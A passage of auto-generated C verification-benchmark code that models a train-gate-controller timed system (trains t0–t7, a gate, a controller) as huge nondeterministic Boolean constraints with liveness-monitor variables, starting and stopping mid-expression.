(((( !t5_evt0) && ( !t5_evt1)) || (t5_evt0 && ( !t5_evt1))) || ((t5_evt1 && ( !t5_evt0)) || (t5_evt0 && t5_evt1)))) && ((( !t5_l0) && ( !t5_l1)) || (t5_x <= 5.0))) && ((((((( !t4_l0) && ( !t4_l1)) && (t4_x == 0.0)) && (((( !t4_l0) && ( !t4_l1)) || (t4_l0 && ( !t4_l1))) || ((t4_l1 && ( !t4_l0)) || (t4_l0 && t4_l1)))) && (((( !t4_evt0) && ( !t4_evt1)) || (t4_evt0 && ( !t4_evt1))) || ((t4_evt1 && ( !t4_evt0)) || (t4_evt0 && t4_evt1)))) && ((( !t4_l0) && ( !t4_l1)) || (t4_x <= 5.0))) && ((((((( !t3_l0) && ( !t3_l1)) && (t3_x == 0.0)) && (((( !t3_l0) && ( !t3_l1)) || (t3_l0 && ( !t3_l1))) || ((t3_l1 && ( !t3_l0)) || (t3_l0 && t3_l1)))) && (((( !t3_evt0) && ( !t3_evt1)) || (t3_evt0 && ( !t3_evt1))) || ((t3_evt1 && ( !t3_evt0)) || (t3_evt0 && t3_evt1)))) && ((( !t3_l0) && ( !t3_l1)) || (t3_x <= 5.0))) && ((((((( !t2_l0) && ( !t2_l1)) && (t2_x == 0.0)) && (((( !t2_l0) && ( !t2_l1)) || (t2_l0 && ( !t2_l1))) || ((t2_l1 && ( !t2_l0)) || (t2_l0 && t2_l1)))) && (((( !t2_evt0) && ( !t2_evt1)) || (t2_evt0 && ( !t2_evt1))) || ((t2_evt1 && ( !t2_evt0)) || (t2_evt0 && t2_evt1)))) && ((( !t2_l0) && ( !t2_l1)) || (t2_x <= 5.0))) && ((((((( !t1_l0) && ( !t1_l1)) && (t1_x == 0.0)) && (((( !t1_l0) && ( !t1_l1)) || (t1_l0 && ( !t1_l1))) || ((t1_l1 && ( !t1_l0)) || (t1_l0 && t1_l1)))) && (((( !t1_evt0) && ( !t1_evt1)) || (t1_evt0 && ( !t1_evt1))) || ((t1_evt1 && ( !t1_evt0)) || (t1_evt0 && t1_evt1)))) && ((( !t1_l0) && ( !t1_l1)) || (t1_x <= 5.0))) && ((((((( !t0_l0) && ( !t0_l1)) && (t0_x == 0.0)) && (((( !t0_l0) && ( !t0_l1)) || (t0_l0 && ( !t0_l1))) || ((t0_l1 && ( !t0_l0)) || (t0_l0 && t0_l1)))) && (((( !t0_evt0) && ( !t0_evt1)) || (t0_evt0 && ( !t0_evt1))) || ((t0_evt1 && ( !t0_evt0)) || (t0_evt0 && t0_evt1)))) && ((( !t0_l0) && ( !t0_l1)) || (t0_x <= 5.0))) && (((((((( !controller_l0) && ( !controller_l1)) && (controller_z == 0.0)) && (((( !controller_l0) && ( !controller_l1)) || (controller_l0 && ( !controller_l1))) || ((controller_l1 && ( !controller_l0)) || (controller_l0 && controller_l1)))) && (((( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))) || (( !controller_evt2) && (controller_evt0 && ( !controller_evt1)))) || ((( !controller_evt2) && (controller_evt1 && ( !controller_evt0))) || ((( !controller_evt2) && (controller_evt0 && controller_evt1)) || (controller_evt2 && (( !controller_evt0) && ( !controller_evt1))))))) && ((((((((((controller_cnt == 0) || (controller_cnt == 1)) || (controller_cnt == 2)) || (controller_cnt == 3)) || (controller_cnt == 4)) || (controller_cnt == 5)) || (controller_cnt == 6)) || (controller_cnt == 7)) || (controller_cnt == 8)) || (controller_cnt == 9))) && ((controller_z <= 1.0) || ( !((controller_l0 && ( !controller_l1)) || (controller_l0 && controller_l1))))) && (((((((( !gate_l0) && ( !gate_l1)) && (gate_y == 0.0)) && (((( !gate_l0) && ( !gate_l1)) || (gate_l0 && ( !gate_l1))) || ((gate_l1 && ( !gate_l0)) || (gate_l0 && gate_l1)))) && (((( !gate_evt0) && ( !gate_evt1)) || (gate_evt0 && ( !gate_evt1))) || ((gate_evt1 && ( !gate_evt0)) || (gate_evt0 && gate_evt1)))) && ((gate_y <= 1.0) || ( !(gate_l0 && ( !gate_l1))))) && ((gate_y <= 2.0) || ( !(gate_l0 && gate_l1)))) && (0.0 <= delta))))))))))) && (delta == _diverge_delta)) && ((((( !(( !(_EL_U_1292 || ( !((_EL_U_1289 || ((gate_l1 && ( !gate_l0)) && (_EL_X_1255 && _EL_X_1253))) || ( !((( !gate_l0) && ( !gate_l1)) && (_EL_X_1255 && ( !_EL_X_1253)))))))) || (_EL_U_1287 || ( !((1.0 <= _diverge_delta) || _EL_U_1285))))) && ( !_J1322)) && ( !_J1339)) && ( !_J1345)) && ( !_J1351)));
while (__steps_to_fair >= 0 && __ok) {
if ((((_J1322 && _J1339) && _J1345) && _J1351)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x_t0_evt0 = __VERIFIER_nondet_bool();
_x__EL_X_1255 = __VERIFIER_nondet_bool();
_x__diverge_delta = __VERIFIER_nondet_float();
_x_delta = __VERIFIER_nondet_float();
_x__EL_U_1289 = __VERIFIER_nondet_bool();
_x_gate_l1 = __VERIFIER_nondet_bool();
_x_gate_l0 = __VERIFIER_nondet_bool();
_x__EL_U_1292 = __VERIFIER_nondet_bool();
_x_gate_y = __VERIFIER_nondet_float();
_x_t5_x = __VERIFIER_nondet_float();
_x_t5_l1 = __VERIFIER_nondet_bool();
_x_t5_l0 = __VERIFIER_nondet_bool();
_x_t1_x = __VERIFIER_nondet_float();
_x_t1_l1 = __VERIFIER_nondet_bool();
_x_gate_evt1 = __VERIFIER_nondet_bool();
_x_gate_evt0 = __VERIFIER_nondet_bool();
_x_t5_evt1 = __VERIFIER_nondet_bool();
_x_t5_evt0 = __VERIFIER_nondet_bool();
_x_t1_l0 = __VERIFIER_nondet_bool();
_x_t1_evt1 = __VERIFIER_nondet_bool();
_x_t1_evt0 = __VERIFIER_nondet_bool();
_x_t6_x = __VERIFIER_nondet_float();
_x_controller_l1 = __VERIFIER_nondet_bool();
_x_t6_l1 = __VERIFIER_nondet_bool();
_x_controller_l0 = __VERIFIER_nondet_bool();
_x_t6_l0 = __VERIFIER_nondet_bool();
_x_t2_x = __VERIFIER_nondet_float();
_x_t2_l1 = __VERIFIER_nondet_bool();
_x_controller_z = __VERIFIER_nondet_float();
_x_t6_evt1 = __VERIFIER_nondet_bool();
_x_t6_evt0 = __VERIFIER_nondet_bool();
_x_t2_l0 = __VERIFIER_nondet_bool();
_x_controller_cnt = __VERIFIER_nondet_int();
_x_t2_evt1 = __VERIFIER_nondet_bool();
_x_t2_evt0 = __VERIFIER_nondet_bool();
_x_t7_x = __VERIFIER_nondet_float();
_x_t7_l1 = __VERIFIER_nondet_bool();
_x_t7_l0 = __VERIFIER_nondet_bool();
_x_t3_x = __VERIFIER_nondet_float();
_x_controller_evt1 = __VERIFIER_nondet_bool();
_x_t3_l1 = __VERIFIER_nondet_bool();
_x_t7_evt1 = __VERIFIER_nondet_bool();
_x_t7_evt0 = __VERIFIER_nondet_bool();
_x_controller_evt0 = __VERIFIER_nondet_bool();
_x_controller_evt2 = __VERIFIER_nondet_bool();
_x_t3_l0 = __VERIFIER_nondet_bool();
_x_t3_evt1 = __VERIFIER_nondet_bool();
_x_t3_evt0 = __VERIFIER_nondet_bool();
_x_t4_l0 = __VERIFIER_nondet_bool();
_x_t4_evt1 = __VERIFIER_nondet_bool();
_x__J1351 = __VERIFIER_nondet_bool();
_x__J1345 = __VERIFIER_nondet_bool();
_x_t4_x = __VERIFIER_nondet_float();
_x__J1339 = __VERIFIER_nondet_bool();
_x_t4_l1 = __VERIFIER_nondet_bool();
_x_t0_x = __VERIFIER_nondet_float();
_x__J1322 = __VERIFIER_nondet_bool();
_x__EL_U_1285 = __VERIFIER_nondet_bool();
_x_t0_l1 = __VERIFIER_nondet_bool();
_x_t4_evt0 = __VERIFIER_nondet_bool();
_x_t0_l0 = __VERIFIER_nondet_bool();
_x__EL_U_1287 = __VERIFIER_nondet_bool();
_x__EL_X_1253 = __VERIFIER_nondet_bool();
_x_t0_evt1 = __VERIFIER_nondet_bool();
__ok = (((((((((((((((((((((((((( !_x_t7_l0) && ( !_x_t7_l1)) || (_x_t7_l0 && ( !_x_t7_l1))) || ((_x_t7_l1 && ( !_x_t7_l0)) || (_x_t7_l0 && _x_t7_l1))) && (((( !_x_t7_evt0) && ( !_x_t7_evt1)) || (_x_t7_evt0 && ( !_x_t7_evt1))) || ((_x_t7_evt1 && ( !_x_t7_evt0)) || (_x_t7_evt0 && _x_t7_evt1)))) && ((( !_x_t7_l0) && ( !_x_t7_l1)) || (_x_t7_x <= 5.0))) && ((((t7_l0 == _x_t7_l0) && (t7_l1 == _x_t7_l1)) && ((delta + (t7_x + (-1.0 * _x_t7_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t7_evt0) && ( !t7_evt1)))))) && ((((_x_t7_l0 && ( !_x_t7_l1)) && (t7_evt0 && ( !t7_evt1))) && (_x_t7_x == 0.0)) || ( !((( !t7_l0) && ( !t7_l1)) && ((delta == 0.0) && ( !(( !t7_evt0) && ( !t7_evt1)))))))) && ((((_x_t7_l1 && ( !_x_t7_l0)) && ( !(t7_x <= 2.0))) && ((t7_evt0 && t7_evt1) && (t7_x == _x_t7_x))) || ( !((t7_l0 && ( !t7_l1)) && ((delta == 0.0) && ( !(( !t7_evt0) && ( !t7_evt1)))))))) && (((t7_x == _x_t7_x) && ((_x_t7_l0 && _x_t7_l1) && (t7_evt0 && t7_evt1))) || ( !((t7_l1 && ( !t7_l0)) && ((delta == 0.0) && ( !(( !t7_evt0) && ( !t7_evt1)))))))) && ((((( !_x_t7_l0) && ( !_x_t7_l1)) && (t7_x <= 5.0)) && ((t7_evt1 && ( !t7_evt0)) && (t7_x == _x_t7_x))) || ( !((t7_l0 && t7_l1) && ((delta == 0.0) && ( !(( !t7_evt0) && ( !t7_evt1)))))))) && (((((((((((( !_x_t6_l0) && ( !_x_t6_l1)) || (_x_t6_l0 && ( !_x_t6_l1))) || ((_x_t6_l1 && ( !_x_t6_l0)) || (_x_t6_l0 && _x_t6_l1))) && (((( !_x_t6_evt0) && ( !_x_t6_evt1)) || (_x_t6_evt0 && ( !_x_t6_evt1))) || ((_x_t6_evt1 && ( !_x_t6_evt0)) || (_x_t6_evt0 && _x_t6_evt1)))) && ((( !_x_t6_l0) && ( !_x_t6_l1)) || (_x_t6_x <= 5.0))) && ((((t6_l0 == _x_t6_l0) && (t6_l1 == _x_t6_l1)) && ((delta + (t6_x + (-1.0 * _x_t6_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t6_evt0) && ( !t6_evt1)))))) && ((((_x_t6_l0 && ( !_x_t6_l1)) && (t6_evt0 && ( !t6_evt1))) && (_x_t6_x == 0.0)) || ( !((( !t6_l0) && ( !t6_l1)) && ((delta == 0.0) && ( !(( !t6_evt0) && ( !t6_evt1)))))))) && ((((_x_t6_l1 && ( !_x_t6_l0)) && ( !(t6_x <= 2.0))) && ((t6_evt0 && t6_evt1) && (t6_x == _x_t6_x))) || ( !((t6_l0 && ( !t6_l1)) && ((delta == 0.0) && ( !(( !t6_evt0) && ( !t6_evt1)))))))) && (((t6_x == _x_t6_x) && ((_x_t6_l0 && _x_t6_l1) && (t6_evt0 && t6_evt1))) || ( !((t6_l1 && ( !t6_l0)) && ((delta == 0.0) && ( !(( !t6_evt0) && ( !t6_evt1)))))))) && ((((( !_x_t6_l0) && ( !_x_t6_l1)) && (t6_x <= 5.0)) && ((t6_evt1 && ( !t6_evt0)) && (t6_x == _x_t6_x))) || ( !((t6_l0 && t6_l1) && ((delta == 0.0) && ( !(( !t6_evt0) && ( !t6_evt1)))))))) && (((((((((((( !_x_t5_l0) && ( !_x_t5_l1)) || (_x_t5_l0 && ( !_x_t5_l1))) || ((_x_t5_l1 && ( !_x_t5_l0)) || (_x_t5_l0 && _x_t5_l1))) && (((( !_x_t5_evt0) && ( !_x_t5_evt1)) || (_x_t5_evt0 && ( !_x_t5_evt1))) || ((_x_t5_evt1 && ( !_x_t5_evt0)) || (_x_t5_evt0 && _x_t5_evt1)))) && ((( !_x_t5_l0) && ( !_x_t5_l1)) || (_x_t5_x <= 5.0))) && ((((t5_l0 == _x_t5_l0) && (t5_l1 == _x_t5_l1)) && ((delta + (t5_x + (-1.0 * _x_t5_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t5_evt0) && ( !t5_evt1)))))) && ((((_x_t5_l0 && ( !_x_t5_l1)) && (t5_evt0 && ( !t5_evt1))) && (_x_t5_x == 0.0)) || ( !((( !t5_l0) && ( !t5_l1)) && ((delta == 0.0) && ( !(( !t5_evt0) && ( !t5_evt1)))))))) && ((((_x_t5_l1 && ( !_x_t5_l0)) && ( !(t5_x <= 2.0))) && ((t5_evt0 && t5_evt1) && (t5_x == _x_t5_x))) || ( !((t5_l0 && ( !t5_l1)) && ((delta == 0.0) && ( !(( !t5_evt0) && ( !t5_evt1)))))))) && (((t5_x == _x_t5_x) && ((_x_t5_l0 && _x_t5_l1) && (t5_evt0 && t5_evt1))) || ( !((t5_l1 && ( !t5_l0)) && ((delta == 0.0) && ( !(( !t5_evt0) && ( !t5_evt1)))))))) && ((((( !_x_t5_l0) && ( !_x_t5_l1)) && (t5_x <= 5.0)) && ((t5_evt1 && ( !t5_evt0)) && (t5_x == _x_t5_x))) || ( !((t5_l0 && t5_l1) && ((delta == 0.0) && ( !(( !t5_evt0) && ( !t5_evt1)))))))) && (((((((((((( !_x_t4_l0) && ( !_x_t4_l1)) || (_x_t4_l0 && ( !_x_t4_l1))) || ((_x_t4_l1 && ( !_x_t4_l0)) || (_x_t4_l0 && _x_t4_l1))) && (((( !_x_t4_evt0) && ( !_x_t4_evt1)) || (_x_t4_evt0 && ( !_x_t4_evt1))) || ((_x_t4_evt1 && ( !_x_t4_evt0)) || (_x_t4_evt0 && _x_t4_evt1)))) && ((( !_x_t4_l0) && ( !_x_t4_l1)) || (_x_t4_x <= 5.0))) && ((((t4_l0 == _x_t4_l0) && (t4_l1 == _x_t4_l1)) && ((delta + (t4_x + (-1.0 * _x_t4_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t4_evt0) && ( !t4_evt1)))))) && ((((_x_t4_l0 && ( !_x_t4_l1)) && (t4_evt0 && ( !t4_evt1))) && (_x_t4_x == 0.0)) || ( !((( !t4_l0) && ( !t4_l1)) && ((delta == 0.0) && ( !(( !t4_evt0) && ( !t4_evt1)))))))) && ((((_x_t4_l1 && ( !_x_t4_l0)) && ( !(t4_x <= 2.0))) && ((t4_evt0 && t4_evt1) && (t4_x == _x_t4_x))) || ( !((t4_l0 && ( !t4_l1)) && ((delta == 0.0) && ( !(( !t4_evt0) && ( !t4_evt1)))))))) && (((t4_x == _x_t4_x) && ((_x_t4_l0 && _x_t4_l1) && (t4_evt0 && t4_evt1))) || ( !((t4_l1 && ( !t4_l0)) && ((delta == 0.0) && ( !(( !t4_evt0) && ( !t4_evt1)))))))) && ((((( !_x_t4_l0) && ( !_x_t4_l1)) && (t4_x <= 5.0)) && ((t4_evt1 && ( !t4_evt0)) && (t4_x == _x_t4_x))) || ( !((t4_l0 && t4_l1) && ((delta == 0.0) && ( !(( !t4_evt0) && ( !t4_evt1)))))))) && (((((((((((( !_x_t3_l0) && ( !_x_t3_l1)) || (_x_t3_l0 && ( !_x_t3_l1))) || ((_x_t3_l1 && ( !_x_t3_l0)) || (_x_t3_l0 && _x_t3_l1))) && (((( !_x_t3_evt0) && ( !_x_t3_evt1)) || (_x_t3_evt0 && ( !_x_t3_evt1))) || ((_x_t3_evt1 && ( !_x_t3_evt0)) || (_x_t3_evt0 && _x_t3_evt1)))) && ((( !_x_t3_l0) && ( !_x_t3_l1)) || (_x_t3_x <= 5.0))) && ((((t3_l0 == _x_t3_l0) && (t3_l1 == _x_t3_l1)) && ((delta + (t3_x + (-1.0 * _x_t3_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t3_evt0) && ( !t3_evt1)))))) && ((((_x_t3_l0 && ( !_x_t3_l1)) && (t3_evt0 && ( !t3_evt1))) && (_x_t3_x == 0.0)) || ( !((( !t3_l0) && ( !t3_l1)) && ((delta == 0.0) && ( !(( !t3_evt0) && ( !t3_evt1)))))))) && ((((_x_t3_l1 && ( !_x_t3_l0)) && ( !(t3_x <= 2.0))) && ((t3_evt0 && t3_evt1) && (t3_x == _x_t3_x))) || ( !((t3_l0 && ( !t3_l1)) && ((delta == 0.0) && ( !(( !t3_evt0) && ( !t3_evt1)))))))) && (((t3_x == _x_t3_x) && ((_x_t3_l0 && _x_t3_l1) && (t3_evt0 && t3_evt1))) || ( !((t3_l1 && ( !t3_l0)) && ((delta == 0.0) && ( !(( !t3_evt0) && ( !t3_evt1)))))))) && ((((( !_x_t3_l0) && ( !_x_t3_l1)) && (t3_x <= 5.0)) && ((t3_evt1 && ( !t3_evt0)) && (t3_x == _x_t3_x))) || ( !((t3_l0 && t3_l1) && ((delta == 0.0) && ( !(( !t3_evt0) && ( !t3_evt1)))))))) && (((((((((((( !_x_t2_l0) && ( !_x_t2_l1)) || (_x_t2_l0 && ( !_x_t2_l1))) || ((_x_t2_l1 && ( !_x_t2_l0)) || (_x_t2_l0 && _x_t2_l1))) && (((( !_x_t2_evt0) && ( !_x_t2_evt1)) || (_x_t2_evt0 && ( !_x_t2_evt1))) || ((_x_t2_evt1 && ( !_x_t2_evt0)) || (_x_t2_evt0 && _x_t2_evt1)))) && ((( !_x_t2_l0) && ( !_x_t2_l1)) || (_x_t2_x <= 5.0))) && ((((t2_l0 == _x_t2_l0) && (t2_l1 == _x_t2_l1)) && ((delta + (t2_x + (-1.0 * _x_t2_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t2_evt0) && ( !t2_evt1)))))) && ((((_x_t2_l0 && ( !_x_t2_l1)) && (t2_evt0 && ( !t2_evt1))) && (_x_t2_x == 0.0)) || ( !((( !t2_l0) && ( !t2_l1)) && ((delta == 0.0) && ( !(( !t2_evt0) && ( !t2_evt1)))))))) && ((((_x_t2_l1 && ( !_x_t2_l0)) && ( !(t2_x <= 2.0))) && ((t2_evt0 && t2_evt1) && (t2_x == _x_t2_x))) || ( !((t2_l0 && ( !t2_l1)) && ((delta == 0.0) && ( !(( !t2_evt0) && ( !t2_evt1)))))))) && (((t2_x == _x_t2_x) && ((_x_t2_l0 && _x_t2_l1) && (t2_evt0 && t2_evt1))) || ( !((t2_l1 && ( !t2_l0)) && ((delta == 0.0) && ( !(( !t2_evt0) && ( !t2_evt1)))))))) && ((((( !_x_t2_l0) && ( !_x_t2_l1)) && (t2_x <= 5.0)) && ((t2_evt1 && ( !t2_evt0)) && (t2_x == _x_t2_x))) || ( !((t2_l0 && t2_l1) && ((delta == 0.0) && ( !(( !t2_evt0) && ( !t2_evt1)))))))) && (((((((((((( !_x_t1_l0) && ( !_x_t1_l1)) || (_x_t1_l0 && ( !_x_t1_l1))) || ((_x_t1_l1 && ( !_x_t1_l0)) || (_x_t1_l0 && _x_t1_l1))) && (((( !_x_t1_evt0) && ( !_x_t1_evt1)) || (_x_t1_evt0 && ( !_x_t1_evt1))) || ((_x_t1_evt1 && ( !_x_t1_evt0)) || (_x_t1_evt0 && _x_t1_evt1)))) && ((( !_x_t1_l0) && ( !_x_t1_l1)) || (_x_t1_x <= 5.0))) && ((((t1_l0 == _x_t1_l0) && (t1_l1 == _x_t1_l1)) && ((delta + (t1_x + (-1.0 * _x_t1_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t1_evt0) && ( !t1_evt1)))))) && ((((_x_t1_l0 && ( !_x_t1_l1)) && (t1_evt0 && ( !t1_evt1))) && (_x_t1_x == 0.0)) || ( !((( !t1_l0) && ( !t1_l1)) && ((delta == 0.0) && ( !(( !t1_evt0) && ( !t1_evt1)))))))) && ((((_x_t1_l1 && ( !_x_t1_l0)) && ( !(t1_x <= 2.0))) && ((t1_evt0 && t1_evt1) && (t1_x == _x_t1_x))) || ( !((t1_l0 && ( !t1_l1)) && ((delta == 0.0) && ( !(( !t1_evt0) && ( !t1_evt1)))))))) && (((t1_x == _x_t1_x) && ((_x_t1_l0 && _x_t1_l1) && (t1_evt0 && t1_evt1))) || ( !((t1_l1 && ( !t1_l0)) && ((delta == 0.0) && ( !(( !t1_evt0) && ( !t1_evt1)))))))) && ((((( !_x_t1_l0) && ( !_x_t1_l1)) && (t1_x <= 5.0)) && ((t1_evt1 && ( !t1_evt0)) && (t1_x == _x_t1_x))) || ( !((t1_l0 && t1_l1) && ((delta == 0.0) && ( !(( !t1_evt0) && ( !t1_evt1)))))))) && (((((((((((( !_x_t0_l0) && ( !_x_t0_l1)) || (_x_t0_l0 && ( !_x_t0_l1))) || ((_x_t0_l1 && ( !_x_t0_l0)) || (_x_t0_l0 && _x_t0_l1))) && (((( !_x_t0_evt0) && ( !_x_t0_evt1)) || (_x_t0_evt0 && ( !_x_t0_evt1))) || ((_x_t0_evt1 && ( !_x_t0_evt0)) || (_x_t0_evt0 && _x_t0_evt1)))) && ((( !_x_t0_l0) && ( !_x_t0_l1)) || (_x_t0_x <= 5.0))) && ((((t0_l0 == _x_t0_l0) && (t0_l1 == _x_t0_l1)) && ((delta + (t0_x + (-1.0 * _x_t0_x))) == 0.0)) || ( !(( !(delta <= 0.0)) || (( !t0_evt0) && ( !t0_evt1)))))) && ((((_x_t0_l0 && ( !_x_t0_l1)) && (t0_evt0 && ( !t0_evt1))) && (_x_t0_x == 0.0)) || ( !((( !t0_l0) && ( !t0_l1)) && ((delta == 0.0) && ( !(( !t0_evt0) && ( !t0_evt1)))))))) && ((((_x_t0_l1 && ( !_x_t0_l0)) && ( !(t0_x <= 2.0))) && ((t0_evt0 && t0_evt1) && (t0_x == _x_t0_x))) || ( !((t0_l0 && ( !t0_l1)) && ((delta == 0.0) && ( !(( !t0_evt0) && ( !t0_evt1)))))))) && (((t0_x == _x_t0_x) && ((_x_t0_l0 && _x_t0_l1) && (t0_evt0 && t0_evt1))) || ( !((t0_l1 && ( !t0_l0)) && ((delta == 0.0) && ( !(( !t0_evt0) && ( !t0_evt1)))))))) && ((((( !_x_t0_l0) && ( !_x_t0_l1)) && (t0_x <= 5.0)) && ((t0_evt1 && ( !t0_evt0)) && (t0_x == _x_t0_x))) || ( !((t0_l0 && t0_l1) && ((delta == 0.0) && ( !(( !t0_evt0) && ( !t0_evt1)))))))) && (((((((((((((((((( !_x_controller_l0) && ( !_x_controller_l1)) || (_x_controller_l0 && ( !_x_controller_l1))) || ((_x_controller_l1 && ( !_x_controller_l0)) || (_x_controller_l0 && _x_controller_l1))) && (((( !_x_controller_evt2) && (( !_x_controller_evt0) && ( !_x_controller_evt1))) || (( !_x_controller_evt2) && (_x_controller_evt0 && ( !_x_controller_evt1)))) || ((( !_x_controller_evt2) && (_x_controller_evt1 && ( !_x_controller_evt0))) || ((( !_x_controller_evt2) && (_x_controller_evt0 && _x_controller_evt1)) || (_x_controller_evt2 && (( !_x_controller_evt0) && ( !_x_controller_evt1))))))) && ((((((((((_x_controller_cnt == 0) || (_x_controller_cnt == 1)) || (_x_controller_cnt == 2)) || (_x_controller_cnt == 3)) || (_x_controller_cnt == 4)) || (_x_controller_cnt == 5)) || (_x_controller_cnt == 6)) || (_x_controller_cnt == 7)) || (_x_controller_cnt == 8)) || (_x_controller_cnt == 9))) && ((_x_controller_z <= 1.0) || ( !((_x_controller_l0 && ( !_x_controller_l1)) || (_x_controller_l0 && _x_controller_l1))))) && (((((controller_l0 == _x_controller_l0) && (controller_l1 == _x_controller_l1)) && ((delta + (controller_z + (-1.0 * _x_controller_z))) == 0.0)) && (controller_cnt == _x_controller_cnt)) || ( !(( !(delta <= 0.0)) || (( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))))) && ((((_x_controller_l0 && ( !_x_controller_l1)) && (( !controller_evt2) && (controller_evt0 && ( !controller_evt1)))) && ((_x_controller_cnt == 1) && (_x_controller_z == 0.0))) || ( !((( !controller_l0) && ( !controller_l1)) && ((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))))))) && (((controller_z == _x_controller_z) && ((_x_controller_l0 && ( !_x_controller_l1)) || (_x_controller_l1 && ( !_x_controller_l0)))) || ( !((controller_l0 && ( !controller_l1)) && ((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))))))) && ((((( !controller_evt2) && (controller_evt0 && ( !controller_evt1))) && ((controller_cnt + (-1 * _x_controller_cnt)) == -1)) || ((( !controller_evt2) && (controller_evt1 && ( !controller_evt0))) && ((controller_cnt + (-1 * _x_controller_cnt)) == 1))) || ( !(((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))) && ((controller_l0 && ( !controller_l1)) && (_x_controller_l0 && ( !_x_controller_l1))))))) && (((( !controller_evt2) && (controller_evt0 && controller_evt1)) && ((controller_cnt == _x_controller_cnt) && (controller_z == 1.0))) || ( !(((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))) && ((controller_l0 && ( !controller_l1)) && (_x_controller_l1 && ( !_x_controller_l0))))))) && (((_x_controller_l1 && ( !_x_controller_l0)) || (_x_controller_l0 && _x_controller_l1)) || ( !((controller_l1 && ( !controller_l0)) && ((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))))))) && (((controller_z == _x_controller_z) && (((( !controller_evt2) && (controller_evt0 && ( !controller_evt1))) && ((controller_cnt + (-1 * _x_controller_cnt)) == -1)) || (((( !controller_evt2) && (controller_evt1 && ( !controller_evt0))) && ((controller_cnt + (-1 * _x_controller_cnt)) == 1)) && ( !(controller_cnt <= 1))))) || ( !(((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))) && ((controller_l1 && ( !controller_l0)) && (_x_controller_l1 && ( !_x_controller_l0))))))) && ((((( !controller_evt2) && (controller_evt1 && ( !controller_evt0))) && (controller_cnt == 1)) && ((_x_controller_cnt == 0) && (_x_controller_z == 0.0))) || ( !(((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))) && ((controller_l1 && ( !controller_l0)) && (_x_controller_l0 && _x_controller_l1)))))) && (((controller_z == _x_controller_z) && ((( !_x_controller_l0) && ( !_x_controller_l1)) || (_x_controller_l1 && ( !_x_controller_l0)))) || ( !((controller_l0 && controller_l1) && ((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))))))) && ((((controller_cnt + (-1 * _x_controller_cnt)) == -1) && ((( !controller_evt2) && (controller_evt0 && ( !controller_evt1))) && (controller_z <= 1.0))) || ( !(((delta == 0.0) && ( !(( !controller_evt2) && (( !controller_evt0) && ( !controller_evt1))))) && ((_x_controller_l1 && ( !_x_controller_l0)) && (controller_l0 && controller_l1)))))) && ((((((((((((( !_x_gate_l0) && ( !_x_gate_l1)) || (_x_gate_l0 && ( !_x_gate_l1))) || ((_x_gate_l1 && ( !_x_gate_l0)) || (_x_gate_l0 && _x_gate_l1))) && (((( !_x_gate_evt0) && ( !_x_gate_evt1)) || (_x_gate_evt0 && ( !_x_gate_evt1))) || ((_x_gate_evt1 && ( !_x_gate_evt0)) || (_x_gate_evt0 && _x_gate_evt1)))) && ((_x_gate_y <= 1.0) || ( !(_x_gate_l0 && ( !_x_gate_l1))))) && ((_x_gate_y <= 2.0) || ( !(_x_gate_l0 && _x_gate_l1)))) && ((((gate_l0 == _x_gate_l0) && (gate_l1 == _x_gate_l1)) && ((delta + (gate_y + (-1.0 * _x_gate_y))) == 0.0)) || ( !((( !gate_evt0) && ( !gate_evt1)) || ( !(delta <= 0.0)))))) && ((((_x_gate_l0 && ( !_x_gate_l1)) && (gate_evt0 && ( !gate_evt1))) && (_x_gate_y == 0.0)) || ( !((( !gate_l0) && ( !gate_l1)) && ((delta == 0.0) && ( !(( !gate_evt0) && ( !gate_evt1)))))))) && ((((_x_gate_l1 && ( !_x_gate_l0)) && (gate_evt0 && gate_evt1)) && ((gate_y <= 1.0) && (gate_y == _x_gate_y))) || ( !((gate_l0 && ( !gate_l1)) && ((delta == 0.0) && ( !(( !gate_evt0) && ( !gate_evt1)))))))) && (((_x_gate_y == 0.0) && ((_x_gate_l0 && _x_gate_l1) && (gate_evt1 && ( !gate_evt0)))) || ( !((gate_l1 && ( !gate_l0)) && ((delta == 0.0) && ( !(( !gate_evt0) && ( !gate_evt1)))))))) && (((gate_y == _x_gate_y) && (((( !_x_gate_l0) && ( !_x_gate_l1)) && (1.0 <= gate_y)) && ((gate_evt0 && gate_evt1) && (gate_y <= 2.0)))) || ( !((gate_l0 && gate_l1) && ((delta == 0.0) && ( !(( !gate_evt0) && ( !gate_evt1)))))))) && (0.0 <= _x_delta))))))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t0_evt0) && ( !t0_evt1))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t1_evt0) && ( !t1_evt1))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t2_evt0) && ( !t2_evt1))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t3_evt0) && ( !t3_evt1))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t4_evt0) && ( !t4_evt1))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t5_evt0) && ( !t5_evt1))))))) && ((( !t7_evt0) && ( !t7_evt1)) || ( !((delta == 0.0) && ( !(( !t6_evt0) && ( !t6_evt1))))))) && ((( !t6_evt0) && ( !t6_evt1)) || ( !((delta == 0.0) && ( !(( 